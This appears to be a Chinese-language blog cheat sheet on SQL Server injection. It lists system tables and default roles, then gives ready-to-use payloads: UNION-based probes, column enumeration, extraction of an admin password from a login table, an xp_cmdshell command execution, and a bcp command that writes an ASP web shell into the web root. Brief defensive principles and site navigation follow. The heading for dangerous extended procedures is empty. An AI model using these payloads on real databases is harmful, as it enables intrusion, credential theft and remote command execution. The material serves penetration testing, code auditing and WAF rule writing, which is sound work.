SQL Injection 速查筆記：關鍵系統表、預設帳號、擴展預存程序與常用 Payload

⚠️ 僅供授權滲透測試、程式碼審計、防禦簽名編寫參考，嚴禁非法用途

關鍵系統表 (資訊蒐集)

• sysobjects / ncsysobjects：所有物件目錄
• sysindexes / tsysindexes：索引資訊
• syscolumns：欄位定義
• systypes：資料型別
• sysusers / sysxlogins：使用者/登入帳號
• sysdatabases：資料庫清單
• sysprocesses：目前連線程序
• INFORMATION_SCHEMA.COLUMNS/TABLES：ANSI 標準檢視，版本相容性佳

預設高權限角色/使用者

• public：所有使用者隸屬
• dbo：資料庫擁有者
• guest：通常停用/無權限
• db_securityadmin、db_ddladmin 等固定資料庫角色

危險擴展預存程序 (若未移除/限制)

常見注入 Payload 模式

-- 判斷注入點
' OR '1'='1 --
' UNION SELECT @@version,1,1,1 --
' AND 1=(SELECT @@VERSION) --
' AND 'sa'=(SELECT SYSTEM_USER) --

-- 列舉欄位 (盲注/Union-based)
' UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' --
' UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' AND COLUMN_NAME NOT IN ('login_id') --
' UNION SELECT TOP 1 login_name FROM logintable --
' UNION SELECT TOP 1 password FROM logintable WHERE login_name='admin' --

-- 檢查 xp_cmdshell 可用性
' UNION SELECT @@version,1,1,1 --
; EXEC xp_cmdshell 'dir' --

-- 讀寫檔案 (BCP)
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\shell.asp -c -Slocalhost -Usa -Ppass

防禦核心原則

1. 參數化查詢 / 預存程序：徹底杜絕字串拼接 SQL。
2. 最小權限：應用程式帳號僅授予必要 CRUD 權限，移除 PUBLIC 對危險擴展程序執行權。
3. 錯誤訊息不外洩：自訂錯誤頁面，記錄詳細錯誤至日誌而非回傳前端。
4. 輸入驗證與 WAF：白名單驗證、長度限制、特殊字元編碼/過濾。
5. 定期審計：掃描動態 SQL、檢查擴展程序權限、監控異常查詢模式。

總結

熟悉系統表結構、預設權限、危險擴展程序與注入模式，能強化程式碼審計與 WAF 規則編寫能力。但根本防禦在於安全開發生命週期 (SDL) 的落實，而非事後修補。

1. 上一篇文章： 資料庫優化前必問的 10 個關鍵問題：資料型別、索引、命名慣例與統計資料
2. 下一篇文章： SQL Server 效能監控關鍵計數器：記憶體、CPU、磁碟、快取命中率

關於SqlServer

使用 SQL 查詢即時匯率：以文字解析方式整合 HTML 網頁資料

背景與挑戰 網際網路上海量資料以 HTML 格式呈現，若能將

SQL Server 2012 版本功能對比表：Enterprise/Standard/Express/Web 選型指南

官方版本矩陣 詳細功能對比請參考微軟官方文件： https:

SQL Server 2005 新特性實戰：刪除重複資料、隨機取樣、分頁與版本查詢

前言 SQL Server 2005 引入了多項實用的 T-

SQL Server 自訂函數與游標、預存程序、觸發器完整教學

本文系統整理 SQL Server 2008 中三種自訂函數